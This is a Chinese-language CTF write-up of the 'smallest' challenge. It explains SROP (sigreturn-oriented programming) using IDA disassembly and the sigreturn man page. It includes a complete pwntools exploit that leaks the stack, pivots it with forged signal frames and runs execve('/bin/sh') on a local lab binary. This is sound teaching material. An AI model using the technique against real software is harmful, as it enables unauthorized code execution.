实验平台:
x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/ROP/SROP/360chunqiu2017_smallest
检查Binary的安全保护措施:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序是amd64的,只开了NX。
打开IDA对程序进行反汇编,程序异常简单:
LOAD:0000000000400000 ; Format : ELF64 for x86-64 (Executable)
LOAD:0000000000400000 ; Imagebase : 400000
LOAD:0000000000400000 ;
LOAD:0000000000400000
LOAD:0000000000400000 .686p
LOAD:0000000000400000 .mmx
LOAD:0000000000400000 .model flat
LOAD:0000000000400000 .intel_syntax noprefix
LOAD:0000000000400000
LOAD:0000000000400000 ; ===========================================================================
LOAD:0000000000400000
LOAD:0000000000400000 ; Segment type: Pure code
LOAD:0000000000400000 ; Segment permissions: Read/Execute
LOAD:0000000000400000 LOAD segment byte public 'CODE' use64
LOAD:0000000000400000 assume cs:LOAD
LOAD:0000000000400000 ;org 400000h
LOAD:0000000000400000 assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
LOAD:0000000000400000 dword_400000 dd 464C457Fh ; DATA XREF: LOAD:0000000000400050↓o
LOAD:0000000000400000 ; File format: \x7FELF
LOAD:0000000000400004 db 2 ; File class: 64-bit
LOAD:0000000000400005 db 1 ; Data encoding: little-endian
LOAD:0000000000400006 db 1 ; File version
LOAD:0000000000400007 db 0 ; OS/ABI: UNIX System V ABI
LOAD:0000000000400008 db 0 ; ABI Version
LOAD:0000000000400009 db 7 dup(0) ; Padding
LOAD:0000000000400010 dw 2 ; File type: Executable
LOAD:0000000000400012 dw 3Eh ; Machine: x86-64
LOAD:0000000000400014 dd 1 ; File version
LOAD:0000000000400018 dq offset start ; Entry point
LOAD:0000000000400020 dq 40h ; PHT file offset
LOAD:0000000000400028 dq 0D8h ; SHT file offset
LOAD:0000000000400030 dd 0 ; Processor-specific flags
LOAD:0000000000400034 dw 40h ; ELF header size
LOAD:0000000000400036 dw 38h ; PHT entry size
LOAD:0000000000400038 dw 2 ; Number of entries in PHT
LOAD:000000000040003A dw 40h ; SHT entry size
LOAD:000000000040003C dw 3 ; Number of entries in SHT
LOAD:000000000040003E dw 2 ; SHT entry index for string table
LOAD:0000000000400040 ; ELF64 Program Header
LOAD:0000000000400040 ; PHT Entry 0
LOAD:0000000000400040 dd 1 ; Type: LOAD
LOAD:0000000000400044 dd 5 ; Flags
LOAD:0000000000400048 dq 0 ; File offset
LOAD:0000000000400050 dq offset dword_400000 ; Virtual address
LOAD:0000000000400058 dq 400000h ; Physical address
LOAD:0000000000400060 dq 0C1h ; Size in file image
LOAD:0000000000400068 dq 0C1h ; Size in memory image
LOAD:0000000000400070 dq 200000h ; Alignment
LOAD:0000000000400078 ; PHT Entry 1
LOAD:0000000000400078 dd 6474E551h ; Type: STACK
LOAD:000000000040007C dd 6 ; Flags
LOAD:0000000000400080 dq 0 ; File offset
LOAD:0000000000400088 dq 0 ; Virtual address
LOAD:0000000000400090 dq 0 ; Physical address
LOAD:0000000000400098 dq 0 ; Size in file image
LOAD:00000000004000A0 dq 0 ; Size in memory image
LOAD:00000000004000A8 dq 10h ; Alignment
LOAD:00000000004000A8 LOAD ends
LOAD:00000000004000A8
.text:00000000004000B0 ; ===========================================================================
.text:00000000004000B0
.text:00000000004000B0 ; Segment type: Pure code
.text:00000000004000B0 ; Segment permissions: Read/Execute
.text:00000000004000B0 _text segment para public 'CODE' use64
.text:00000000004000B0 assume cs:_text
.text:00000000004000B0 ;org 4000B0h
.text:00000000004000B0 assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
.text:00000000004000B0
.text:00000000004000B0 ; =============== S U B R O U T I N E =======================================
.text:00000000004000B0
.text:00000000004000B0
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0 end start
相当于只执行了一个系统调用read(0, rsp, 0x400)
,其他什么都没有。没做过这种类型题目的可能会直接傻掉,这题里面PLT, GOT统统没有,LIBC也没有被加载进来。那我们应该怎么办呢?
我们需要去学一下SROP(SigReturn Oriented Programming)的相关知识,具体可以参考链接[1][4],论文[3]。我们也可以参考下面的sigreturn manual:
NAME
sigreturn, rt_sigreturn – return from signal handler and cleanup stack frame
SYNOPSIS
int sigreturn(…);
DESCRIPTION
If the Linux kernel determines that an unblocked signal is pending for a process, then, at the next transition back to user mode in that process (e.g., upon return from a system call or when the process is rescheduled onto the CPU), it creates a new frame on the user-space stack where it saves various pieces of process context (processor status word, registers, signal mask, and signal stack settings).
The kernel also arranges that, during the transition back to user mode, the signal handler is called, and that, upon return from the handler, control passes to a piece of user-space code commonly called the "signal trampoline". The signal trampoline code in turn calls sigreturn().
This sigreturn() call undoes everything that was done—changing the process’s signal mask, switching signal stacks (see sigaltstack(2))—in order to invoke the signal handler. Using the information that was earlier saved on the user-space stack sigreturn() restores the process’s signal mask, switches stacks, and restores the process’s context (processor flags and registers, including the stack pointer and instruction pointer), so that the process resumes execution at the point where it was interrupted by the signal.
以我个人的理解,SROP的利用原理是借助了Sigreturn的系统调用。那么Sigreturn系统调用又是什么呢?为什么要有这个系统调用呢?这个Sigreturn对SROP的利用又有什么帮助呢?下面我来依次讲解一下。
众所周知,Linux的进程中存在信号机制。每个进程都可以注册一个信号处理函数。
在Linux操作系统中,当CPU将要从内核态切入用户态前,OS会先检查待切入的进程是否有信号待处理。若有,则内核将会把进程用户态的寄存器信息(称为SigreturnFrame)暂时存放在用户栈上,其中包括全部的数据寄存器信息、状态寄存器信息,甚至包括%rip。接下来,内核安排进程调用信号处理函数。每个信号处理函数结束后,都附加有跳转至sigreturn()
的蹦床,该函数实质上调用了Sigreturn系统调用,该系统调用在内核态把保存在用户栈上的信息恢复到寄存器中,并返回到用户态继续执行。
因为该函数所读取的信息放置在用户栈上,所以给我们伪造带来了极大的方便。为了利用Sigreturn这一系统调用,我们只需要在栈上布局好相应的SigreturnFrame栈,并让%rip指向syscall这一指令,%rax赋值为15(Sigreturn的系统调用号)即可。这样我们就可以操控全部的寄存器、IP等信息,达到我们GetShell的目的。
下面结合该题目来详细说明SROP的使用:
首先把整个Exp放上来。
#!/usr/bin/env python2
from pwn import *
import time
context(arch = "amd64",os = "linux", log_level = "debug")
p = process('./smallest')
elf = ELF('./smallest')
#gdb.attach(p, 'b *0x4000C0')
time.sleep(1)
CLEAR_EAX_READ_ADDR = 0x4000B0
READ_ADDR = 0x4000B3
SYSCALL_ADDR = 0x4000BE
RET_ADDR = 0x4000C0
payload = ""
payload += p64(CLEAR_EAX_READ_ADDR) # Set Syscall ID(write, 1) to RAX: Input 1 Characters
payload += p64(READ_ADDR) # write(stdout, rsp, 0x400)
payload += p64(CLEAR_EAX_READ_ADDR) # Back to read()
p.send(payload)
raw_input()
p.send('\xb3') # Low Byte of READ_ADDR
p.recv(0x8)
leak_stack = u64(p.recv(0x8)) & 0xffffffffffff0000
bin_sh_addr = leak_stack + 0x300
print("leak stack: ", hex(leak_stack))
raw_input()
payload = p64(CLEAR_EAX_READ_ADDR) # Set Syscall ID(rt_sigreturn, 15) to RAX: Input 15 Characters
payload += p64(SYSCALL_ADDR) # Do rt_sigreturn() Syscall
frame = SigreturnFrame()
frame.rax = constants.SYS_read # do read
frame.rdi = 0 # fd
frame.rsi = leak_stack # buf
frame.rdx = 0x500 # count
frame.rip = SYSCALL_ADDR
frame.rsp = leak_stack # migrate stack to leak_stack
payload += bytes(frame)
p.send(payload)
raw_input()
p.send(p64(SYSCALL_ADDR) + '\x00' * 7)
raw_input()
payload = p64(CLEAR_EAX_READ_ADDR) # Set Syscall ID(rt_sigreturn, 15) to RAX: Input 15 Characters
payload += p64(SYSCALL_ADDR) # Do rt_sigreturn() Syscall
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rip = SYSCALL_ADDR
frame.rsp = leak_stack # migrate stack to leak_stack
payload += bytes(frame)
payload += (0x300-len(payload)) * 'A' + "/bin/sh\x00"
p.send(payload)
raw_input()
p.send(p64(SYSCALL_ADDR) + '\x00' * 7)
raw_input()
p.interactive()
首先,我在11~14行定义了各个ROP的地址,方便后面使用。
其次,我来讲解一下payload的一个pattern,让大家对payload有一个结构化的理解:
payload = p64(CLEAR_EAX_READ_ADDR) # Set Syscall ID(rt_sigreturn, 15) to RAX: Input 15 Characters
payload += p64(SYSCALL_ADDR) # Do rt_sigreturn() Syscall
该pattern应用在了第17-18行,第30-31行,第45-46行。它的目的是将系统调用号写入%rax。为什么可以达到这个目的?因为read系统调用的返回值是用户输入的个数,就存储在%rax中,而系统调用号也存放在这里,恰好重合了。
首先执行CLEAR_EAX_READ_ADDR,进行字符的输入,我们想要调用第n号系统调用,就输入n个字符。这n个字符还必须为上述payload[8:]
的内容,否则会破坏栈。(此点很重要,如果想不清楚,建议进行手动调试。对应的代码行号为23,42,56)接下来执行SYSCALL_ADDR,此时%rax已被填充好,可以顺利的执行系统调用。
最后,我来解释exp的步骤:
- 第17行,输入系统调用号1到%rax,体现为第23行仅输入一个字符,且为payload[8]。
- 第18行,利用已有代码,设置write的参数(1, rsp, 0x400),从而输出栈上的内容,其中包含栈的基址,可供后续重复利用。
- 第19行,write输出结束后,再一次回到read系统调用,方便后续继续进行控制。
- 第24-25行,抛弃前8字节我们刚刚填入的返回地址,从8-15字节取得栈的地址,并去掉低16位,形成我们后面栈迁移的基址migrated_stack_rsp。这样便于我们在栈上布局"/bin/sh"字符串,如果不进行栈迁移,只管在栈上随意输入字符串的话,我们是无法知道sh字符串的地址的。
- 第26行,设定"/bin/sh"布局在bin_sh_addr = 栈迁移基址migrated_stack_rsp + 0x300。
- 第30-31行,设定系统调用号15到%rax执行sigreturn系统调用,体现为第42行输入15个字符,且内容为payload[8:8+16]。
- 第32-38行,构造执行syscall(read, 0, migrated_stack_rsp, 0x500),且rsp为migrated_stack_rsp的SigreturnFrame。
- 第42行结束后,我们已经把栈迁移到了我们想要的地方migrated_stack_rsp。
- 第45~46行,设定系统调用号15到%rax执行sigreturn系统调用,体现为第56行输入15个字符,且内容为payload[8:8+16]。
- 第47~51行,构造syscall(execve, bin_sh_addr),且rsp为migrated_stack_rsp的SigreturnFrame。
- 第53行,在bin_sh_addr处布局"/bin/sh\x00"。
- 第56行结束后,系统Getshell。
参考资料:
[1] https://www.cnblogs.com/gsharpsh00ter/p/6844748.html
[2] https://www.cnblogs.com/bhxdn/p/14281505.html
[3] http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf
[4] https://www.anquanke.com/post/id/85810